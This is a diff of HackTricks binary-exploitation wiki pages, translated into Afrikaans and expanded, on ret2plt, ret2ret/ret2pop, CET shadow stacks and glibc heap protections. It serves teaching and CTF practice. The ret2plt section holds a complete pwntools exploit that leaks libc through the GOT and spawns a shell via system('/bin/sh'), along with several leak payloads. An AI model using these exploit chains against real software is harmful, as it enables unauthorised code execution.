+3) Gebruik `virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)` met `PAGE_OFFSET=0xffffff8000000000`
+
+> [!NOTE]
+> Toegang tot tracing-BPF helpers vereis voldoende privileges; enige kernel read primitive of info leak is voldoende om `PHYS_OFFSET` te verkry.
+
+**Hoe dit reggestel word**
+- Beperkte kernel-VA-spasie plus CONFIG_MEMORY_HOTPLUG reserveer VA vir toekomstige hotplug, wat die lineêre map na die laagste VA (vaste basis) stoot.
+- Upstream arm64 het lineêre-map-randomisering verwyder (commit `1db780bafa4c`).[[2]](#references)
+-
+## Verwysings
+
+- [1] [KASLR verslaan deur glad niks te doen nie (Project Zero)](https://googleprojectzero.blogspot.com/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
+- [2] [arm64: verwyder lineêre-map-randomisering (commit 1db780bafa4c)](https://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git/commit/?id=1db780bafa4c)
+- [3] [Tracing BPF arbitrary read helper (Project Zero issue 434208461)](https://project-zero.issues.chromium.org/issues/434208461)
+- [4] [ir0nstone – ASLR bypass met ’n gegewe leak](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)
+- [5] [ir0nstone – PLT- en GOT-format string leak](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)
+- [6] [guyinatuxedo – hacklu15 stackstuff (vsyscall)](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
index c0e55129b36..b79a2a9d26f 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
@@ -2,40 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
-
-This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
+Die doel van hierdie tegniek is om **'n adres van 'n funksie uit die PLT te leak** om ASLR te kan omseil. Dit is omdat jy, indien jy byvoorbeeld die adres van die funksie `puts` uit libc leak, daarna kan **bereken waar die basis van `libc` is** en offsets kan bereken om toegang tot ander funksies soos **`system`** te verkry.
+Dit kan gedoen word met 'n `pwntools`-payload soos ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):[[5]](#references)
```python
# 32-bit ret2plt
payload = flat(
- b'A' * padding,
- elf.plt['puts'],
- elf.symbols['main'],
- elf.got['puts']
+b'A' * padding,
+elf.plt['puts'],
+elf.symbols['main'],
+elf.got['puts']
)
# 64-bit
payload = flat(
- b'A' * padding,
- POP_RDI,
- elf.got['puts']
- elf.plt['puts'],
- elf.symbols['main']
+b'A' * padding,
+POP_RDI,
+elf.got['puts']
+elf.plt['puts'],
+elf.symbols['main']
)
```
+Let daarop hoe **`puts`** (deur die adres van die PLT te gebruik) geroep word met die adres van `puts` wat in die GOT (Global Offset Table) geleë is. Dit is omdat hierdie **entry die presiese adres van `puts` in memory sal bevat** teen die tyd dat `puts` die GOT-entry van puts druk.
-Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
-
-Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
+Let ook daarop hoe die adres van `main` in die exploit gebruik word sodat, wanneer `puts` sy uitvoering beëindig, die **binary `main` weer roep in plaas daarvan om uit te gaan** (sodat die leaked address geldig sal bly).
> [!CAUTION]
-> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
+> Let daarop dat die **binary nie met PIE gekompileer kan wees nie, of jy moet ’n leak gevind het om PIE te bypass**, sodat jy die adres van die PLT, GOT en main kan ken. Andersins moet jy PIE eers bypass.
-You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
+Jy kan ’n [**volledige voorbeeld van hierdie bypass hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Dit was die finale exploit uit daardie **voorbeeld**:[[6]](#references)
+
+Volledige exploit-voorbeeld (ret2plt leak + system)
```python
from pwn import *
@@ -46,10 +46,10 @@ p = process()
p.recvline()
payload = flat(
- 'A' * 32,
- elf.plt['puts'],
- elf.sym['main'],
- elf.got['puts']
+'A' * 32,
+elf.plt['puts'],
+elf.sym['main'],
+elf.got['puts']
)
p.sendline(payload)
@@ -61,22 +61,53 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
- 'A' * 32,
- libc.sym['system'],
- libc.sym['exit'],
- next(libc.search(b'/bin/sh\x00'))
+'A' * 32,
+libc.sym['system'],
+libc.sym['exit'],
+next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
+
-## Other examples & References
+## Moderne oorwegings
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
-- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
+Wanneer 'n ret2plt-lek plaaslik werk maar op afstand misluk, is die probleem dikwels die **toestand van die GOT-slot** of **die manier waarop die binary gelink is**, en nie die kernidee van ret2plt self nie.[[1]](#references)[[2]](#references)
+
+- **Kies die lek-teiken versigtig**: met **lazy binding** (No/Partial RELRO) kan 'n simbool wat nog nooit geroep is nie, steeds 'n GOT-entry hê wat terugwys na die **PLT / dynamic resolver** in plaas van na libc. Die veiligste teikens is gewoonlik dieselfde **simbool** wat jy via die PLT aanroep (`puts@plt(puts@got)`) of 'n ander funksie wat reeds voor die overflow uitgevoer is (`puts`, `printf`, `setvbuf`, `alarm`, ens.).
+- **`puts()`-leaks is string-gebaseer**: op amd64 kry jy dikwels net die onderste **6 bytes** terug voor die eerste `\x00`, dus is 'n algemene parser `u64(p.recvline()[:-1].ljust(8, b'\x00'))`.
+- **As jy 3 argumente kan beheer, is `write@plt` skoner as `puts@plt`** omdat dit deur die lengte begrens word en nie by die eerste null byte stop nie. Dit is gewoonlik die betroubaarste manier om 'n GOT-entry op 64-bit-teikens te dump. As jy hulp nodig het om `rdi`/`rsi`/`rdx` te stel, kyk na [ret2csu](../../rop-return-oriented-programing/ret2csu.md).
+```python
+# amd64 binary-safe leak (direct gadgets or ret2csu)
+payload = flat(
+b'A' * padding,
+POP_RDI, 1,
+POP_RSI_R15, elf.got['puts'], 0,
+POP_RDX, 8,
+elf.plt['write'],
+elf.symbols['main']
+)
+```
+- **Full RELRO / `-Wl,-z,now`**: GOT word read-only, maar dit is steeds **leesbaar**, dus ret2plt leaks werk steeds. Die belangrike verskil is dat imported symbols **by opstarttyd opgelos** word, sodat hul GOT slots reeds die finale libc addresses bevat. Full RELRO blokkeer **GOT overwrites**, nie GOT reads nie.
+- **`-fno-plt` builds**: GCC kan GOT-indirect calls genereer in plaas van `call foo@plt`, en daardie external symbols word tydens load time opgelos. Jy kan steeds GOT entries leak, maar jy het moontlik nie meer ’n gerieflike PLT call site vir die target function nie. Hergebruik ’n ander imported output primitive, ’n bestaande indirect call site/gadget, of ’n ander leak primitive. **Moenie na die GOT entry self return nie**: dit is data, nie executable code nie.
+- **ASLR + PIE**: indien PIE enabled is, leak eers ’n code pointer (saved return address, function pointer, vtable pointer, format-string leak, ens.) om die PIE base te bereken, en bou dan die ret2plt chain met rebased PLT/GOT addresses.
+- **Static / static-PIE**: ret2plt is ’n **dynamic-linking** trick. Fully static of `-static-pie` binaries maak nie staat op die gewone runtime PLT resolution path nie, dus verwag dat hierdie tegniek unavailable of baie minder useful sal wees.
+- **amd64 stack alignment**: indien jou leak stage of tweede-stage `system` crash in instructions soos `movaps`, voeg ’n enkele `ret` gadget voor die PLT/libc call in om die vereiste **16-byte stack alignment** te herstel.
+- **x86 CET / `-fcf-protection`**: indien Shadow Stack werklik enforced word, benodig klassieke ret-gebaseerde ret2plt chains eers ’n **SHSTK bypass**. IBT vereis ook dat indirect branches op geldige targets land. IBT-enabled toolchains genereer compatible PLT entries, dus is die PLT steeds ’n goeie indirect target, maar dit omseil **nie SHSTK** op sy eie nie.
+- **AArch64 BTI / PAC-PLT**: moderne AArch64 PLT entries is geldige BTI landing pads (`bti c`) en kan `autia1716` insluit wanneer PAC-PLT enabled is. Op BTI-protected binaries, verkies PLT entries of ander BTI-compatible landing pads as indirect branch targets.
+
+## Verwysings
+
+- [1] [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
+- [2] [Ian – ret2plt: ASLR Bypass via PLT/GOT Leak](https://ian.nl/blog/ret2plt-advanced-aslr-bypass)
+- [3] [guyinatuxedo – CSAW Quals 2017 SVC (ret2plt leak + system)](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
+- 64 bit, ASLR enabled maar geen PIE; die eerste stap is om ’n overflow te vul tot by die byte 0x00 van die canary, en dan puts te call om dit te leak. Met die canary word ’n ROP gadget geskep om puts te call en die address van puts uit die GOT te leak, en daarna ’n ROP gadget om `system('/bin/sh')` te call.
+- [4] [guyinatuxedo – FB CTF 2019 Overfloat](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
+- 64 bits, ASLR enabled, geen canary nie, stack overflow in main vanuit ’n child function. ROP gadget om puts te call en die address van puts uit die GOT te leak, en daarna ’n one gadget te call.
+- [5] [ir0nstone – PLT and GOT (ret2plt payload)](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)
+- [6] [ir0nstone – ret2plt ASLR bypass (full example)](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
index 19f39dac33b..366fa06a3b6 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
@@ -1,33 +1,83 @@
-# Ret2ret & Reo2pop
+# Ret2ret & Ret2pop
{{#include ../../../banners/hacktricks-training.md}}
## Ret2ret
-The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
+Die hoof**doel** van hierdie tegniek is om **ASLR te omseil deur ’n bestaande pointer wat reeds op die stack voorkom, te misbruik**.
-Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
+Dit is basies ’n **partial pointer overwrite**: die overflow hoef nie die hele pointer te vervang nie; dit hoef slegs sy **least significant byte** te korrupteer met die afsluitende `0x00` wat deur ’n string-operasie bygevoeg word.
-If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
+Basies word stack overflows dikwels deur strings veroorsaak, en **strings eindig met ’n null byte** in die geheue. Dit maak dit moontlik om die adres wat in ’n pointer gestoor is en reeds op die stack voorkom, te verminder. Byvoorbeeld, as die stack `0xbfffffdd` bevat, kan die overflow dit transformeer na `0xbfffff00`:
+```text
+old pointer = 0xbfffffdd
+new pointer = 0xbfffff00 # trailing '\x00' poisoned the low byte
+delta = 0xdd bytes
+```
+Dus, met ’n **enkele vergiftigde byte**, is die praktiese transformasie gewoonlik:
+```text
+new_ptr = old_ptr & ~0xff
+```
+As daardie afgekapte adres binne ons **NOP sled** (of enige ander nuttige attacker-controlled landing zone) val, is dit moontlik om die control flow daardie pointer te laat bereik deur die oorskryfde return area met **addresses to `ret`** te vul totdat daardie stack slot verbruik is.
-Therefore the attack would be like this:
+Daarom lyk die klassieke aanval soos volg:
- NOP sled
- Shellcode
-- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
-- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
+- Oorskryf die stack vanaf die gestoorde EIP/RIP met **addresses to `ret`** (RET sled)
+- Laat die afsluitende `0x00` ’n latere stack pointer korrupteer sodat dit nou na die NOP sled wys
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
+### Wanneer dit goed werk
+
+Hierdie tegniek is die nuttigste wanneer al die volgende waar is:
+
+- Die bug is **string-based** (of voeg andersins ’n finale `0x00` by)
+- Daar is reeds ’n **stack pointer naby attacker-controlled bytes**
+- Jy ken ’n geldige **`ret` gadget**-adres om die sled te bou
+- Die finale landing area is steeds exploitable (klassieke shellcode as die target executable is, of ’n ander first-stage landing point)
+
+### Praktiese triage
+
+Wanneer jy debug, ondersoek die stack en soek na waardes wat reeds terugwys na jou buffer, `argv`, environment strings, of ’n ander controlled stack region:
+```bash
+pwndbg> telescope $esp 80 # x86
+pwndbg> telescope $rsp 80 # amd64
+```
+Vir elke kandidaat-`pointer`, kyk vinnig of `ptr & ~0xff` binne ’n wide NOP sled of ’n ander nuttige streek sou val. In die praktyk kan ’n **single-byte NUL overwrite die pointer slegs met `0x00`-`0xff` bytes agtertoe skuif** terwyl die boonste bytes onveranderd bly, dus is ret2ret die sterkste wanneer jou target reeds baie naby aan die oorspronklike pointer is. As die bug jou **twee lae bytes** gee in plaas van een, groei die search window tot **`0x0000`-`0xffff` bytes**, en brute force word baie meer realisties. Hoe nader die oorspronklike pointer reeds aan jou target is, hoe minder brute-force attempts jy gewoonlik nodig het.
+
+### Moderne voorbehoude
+
+- Die klassieke PoCs spring na **shellcode**, dus sal **NX** daardie presiese einde breek tensy die landing region executable is.
+- As die binary **PIE** gebruik, word selfs die `ret` gadget wat vir die RET sled gebruik word, gerandomiseer, dus het jy gewoonlik ’n **leak**, ’n **non-PIE code page**, of genoeg brute-force margin nodig.
+- Optimized builds kan die stack layout merkbaar verander, dus moet jy altyd die **werklike runtime stack** weer nagaan in plaas daarvan om aan te neem dat dieselfde kandidaat-pointers tussen builds bestaan.
+- Onlangse navorsing soos **BadASLR** wys dat dieselfde low-byte / null-poisoning-idee steeds relevant is op moderne targets, maar baie werklike exploits hergebruik dit nou as ’n **stack pivot** of overlap primitive in plaas daarvan om direk in klassieke stack shellcode te eindig.[[5]](#references)
+
+As die null-byte corruption jou ’n **saved frame-pointer / stack-pivot** primitive gee in plaas van ’n nuttige in-frame pointer, kyk na [stack pivoting](../../stack-overflow/stack-pivoting.md). As jy reeds ’n stabiele register-gebaseerde dispatcher soos `jmp esp` / `jmp rsp` ken, kyk na [ret2esp & ret2reg](../../rop-return-oriented-programing/ret2esp-ret2reg.md).
+
+Die reference repository sluit die presiese kwesbare `ret2ret.c`-program en sy `ret2retexploit.c`-exploit in; sy breër notas behou die omliggende lab-konteks.[[1]](#references) [[2]](#references) [[6]](#references)
## Ret2pop
-In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\
-This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
+As jy ’n **perfect pointer in die stack kan vind wat jy nie wil wysig nie** (in `ret2ret` **verander** ons die finale laagste byte na `0x00`), kan jy dieselfde algemene aanval uitvoer, maar die RET sled met **een word** verkort sodat die finale `0x00` die data **net voor** die perfect pointer korrupteer.
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
+Dan moet die **laaste** address van die RET sled, in plaas daarvan om na ’n eenvoudige `ret` te wys, na **`pop ; ret`** wys. Dit verwerp die gekorrupteerde word net voor die perfect pointer, en die finale `ret` land op die onaangeraakte pointer.
-## References
+Op hierdie manier:
+
+- Die data voor die perfect pointer word deur die `pop` verbruik
+- Die pointer self bly onveranderd
+- Die finale `ret` gebruik die oorspronklike perfect address wat reeds op die stack teenwoordig is
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
+Dit is veral nuttig wanneer die stack reeds iets bevat soos ’n pointer na **`argv[1]`**, ’n environment string, of ’n ander attacker-controlled buffer, en jy daardie pointer presies wil behou.
+
+Dieselfde repository sluit die presiese kwesbare `ret2pop.c`-program en `ret2popexploit.c`-exploit in.[[3]](#references) [[4]](#references)
+
+## References
+- [1] [`ret2ret.c` kwesbare voorbeeld](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)
+- [2] [`ret2retexploit.c` exploit](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)
+- [3] [`ret2pop.c` kwesbare voorbeeld](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)
+- [4] [`ret2popexploit.c` exploit](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)
+- [5] [BadASLR (pwnlab.kr)](https://pwnlab.kr/downloads/badaslr.pdf)
+- [6] [Notas oor stack buffer overflow internship](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
index 22e1edbc2ed..40a69c59587 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@@ -4,22 +4,28 @@
## Control Flow Enforcement Technology (CET)
-**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
+Intel **Control-flow Enforcement Technology (CET)** is 'n stel verwerkerkenmerke wat daarop gemik is om control-flow hijacking-tegnieke soos return-oriented programming (ROP) en jump-oriented programming (JOP) moeiliker te maak. CET moet ook deur die bedryfstelsel, loader en toepassing ondersteun en geaktiveer word; CPU-ondersteuning alleen beskerm nie 'n proses nie.[[1]](#references) [[2]](#references)
-CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
+CET bied twee aanvullende meganismes:[[1]](#references)
-- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
-- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
+- **Indirect Branch Tracking (IBT)** vereis dat 'n indirekte `CALL` of `JMP` op 'n `ENDBR`-instruksie land wat by beoogde teikens ingevoeg is. Dit verminder die stel bruikbare indirekte-vertakkingsteikens en beperk JOP/COP-aanvalle.
+- **Shadow Stack (SHSTK)** hou 'n beskermde tweede kopie van terugkeeradresse by. Wanneer teruggekeer word, vergelyk die verwerker die adres op die normale stack met die adres op die shadow stack en veroorsaak dit 'n control-protection fault indien hulle verskil.
## Shadow Stack
-The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
+Die shadow stack is 'n afsonderlike geheuegebied wat vir control-transfer state gebruik word. Gewone toepassings-stores kan dit nie wysig nie; die verwerker skryf 'n terugkeeradres na albei stacks wanneer 'n oproep uitgevoer word en kontroleer albei kopieë tydens terugkeer. Gespesialiseerde instruksies en bedryfstelselondersteuning hanteer wettige opdaterings soos seinlewering of konteksherstel.[[1]](#references) [[2]](#references)
## How CET and Shadow Stack Prevent Attacks
-**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
+ROP chains korrupteer gewoonlik gestoorde terugkeeradresse, terwyl JOP/COP chains indirekte spronge of oproepe herlei. CET hanteer hierdie paaie afsonderlik:
-- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
-- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
+- **IBT** blokkeer indirekte oordragte na liggings wat nie met die vereiste landing-pad-instruksie begin nie. Dit verminder die beskikbare gadget space, maar bewys nie dat elke toegelate teiken veilig is nie.
+- **Shadow stack** bespeur 'n gekorrupteerde terugkeeradres voordat die verwerker dit gebruik. Die gevolglike fout stel die bedryfstelsel in staat om die oortredende proses te beëindig of dit andersins te hanteer.[[1]](#references) [[2]](#references)
+CET is dus 'n mitigation, nie 'n plaasvervanger vir memory safety nie. Die praktiese dekking daarvan hang af van watter CET-kenmerke die CPU en bedryfstelsel ondersteun en of die binary en runtime dit aktiveer.[[2]](#references)
+
+## References
+
+- [1] [Intel - 'n Tegniese blik op Control-flow Enforcement Technology](https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html)
+- [2] [Linux-kern-dokumentasie - Control-flow Enforcement Technology shadow stack](https://docs.kernel.org/next/x86/shstk.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index cacfd7f2faf..def382505bd 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -1,84 +1,102 @@
-# Libc Protections
+# Libc-beskerming
{{#include ../../banners/hacktricks-training.md}}
-## Chunk Alignment Enforcement
+## Afdwinging van Chunk-belyning
-**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
+glibc `malloc` belyn chunks volgens `MALLOC_ALIGNMENT`, gewoonlik 8 grepe op 32-bis-teikens en 16 grepe op 64-bis-teikens. Daarom moet 'n geldige chunk-adres en -grootte 'n veelvoud van die teiken se belyning wees; daar is geen vereiste dat 'n 32-bis chunk-adres spesifiek met heksadesimale `8` eindig nie. Allocator-kontroles verwerp wanbelynde pointers voordat dit uit die betrokke bins verbruik word.[[1]](#references)[[4]](#references)
-### Security Benefits
+### Sekuriteitsvoordele van belyning
-The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
+Die afdwinging van chunk-belyning in 64-bis-stelsels verbeter Malloc se sekuriteit aansienlik deur **die plasing van fake chunks te beperk tot slegs 1 uit elke 16 adresse**. Dit kompliseer exploitation-pogings, veral in scenario's waar die gebruiker beperkte beheer oor invoerwaardes het, wat attacks meer kompleks en moeiliker maak om suksesvol uit te voer.[[1]](#references)
-- **Fastbin Attack on \_\_malloc_hook**
+- **Fastbin Attack op `__malloc_hook`**
-The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
+Alignment checks kompliseer klassieke fastbin-allocations naby `__malloc_hook`: die aanvaller moet 'n adres vind waar die forged chunk-header en returned pointer aan die allocator se alignment- en size-checks voldoen. Dit maak nie elke hook-targeting attack op sigself onmoontlik nie.
-## Pointer Mangling on fastbins and tcache
+> **Nota:** Sedert glibc **2.34** is die legacy hooks (`__malloc_hook`, `__free_hook`, ens.) uit die exported ABI verwyder. Moderne exploits target nou ander writable function pointers (bv. tcache per-thread struct, vtable-style callbacks) of maak staat op `setcontext`, `_IO_list_all` primitives, ens.
-**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
+## Pointer Mangling op fastbins en tcache
-The core of this technique is an obfuscation formula:
+**Safe-Linking** beskerm die singly linked `fd`/`next` pointers in fastbins en tcache. Dit verhoog die koste van attacks wat 'n freelist-pointer forge of gedeeltelik overwrite sonder om die storage address daarvan te ken.[[1]](#references)[[4]](#references)
+
+Die kern van hierdie tegniek is 'n obfuscation-formule:
**`New_Ptr = (L >> 12) XOR P`**
-- **L** is the **Storage Location** of the pointer.
-- **P** is the actual **fastbin/tcache Fd Pointer**.
+- **L** is die **Storage Location** van die pointer.
+- **P** is die werklike **fastbin/tcache Fd Pointer**.
+
+Die shift verwyder die 12-bis-offset binne 'n tipiese 4 KiB-page en meng die storage location se page number by die pointer in. Die entropy daarvan kom van ASLR; dit is 'n encoding- en alignment-check, nie cryptographic protection nie.[[4]](#references)
+
+Hierdie mangled pointer benut die bestaande randomness wat deur **Address Space Layout Randomization (ASLR)** verskaf word, wat adresse wat deur programme gebruik word randomizeer om dit vir aanvallers moeilik te maak om die memory layout van 'n proses te voorspel.
-The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
+Wanneer die presiese storage address `L` bekend is, is decoding dieselfde XOR: `P = New_Ptr XOR (L >> 12)`. As `L` nie bekend is nie, kan die verhouding tussen 'n heap-pointer en sy storage location soms iteratief of vanuit 'n ander heap leak herwin word.[[1]](#references)
-This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
+### Sekuriteitsvoordele van Safe-Linking
-**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
+Pointer mangling poog om **partial en full pointer overwrites in heap management te voorkom**, 'n beduidende verbetering in sekuriteit. Hierdie funksie beïnvloed exploit-tegnieke op verskeie maniere:[[1]](#references)
-### Security Benefits
+1. **Voorkoming van Byte-wise Relative Overwrites**: Voorheen kon aanvallers 'n deel van 'n pointer verander om **heap chunks na verskillende locations te redirect sonder om presiese adresse te ken**, 'n tegniek wat duidelik is in die leakless **House of Roman** exploit. Met Safe-Linking vereis sulke relative overwrites gewoonlik 'n heap-address disclosure, 'n algebraic recovery technique, of brute force.
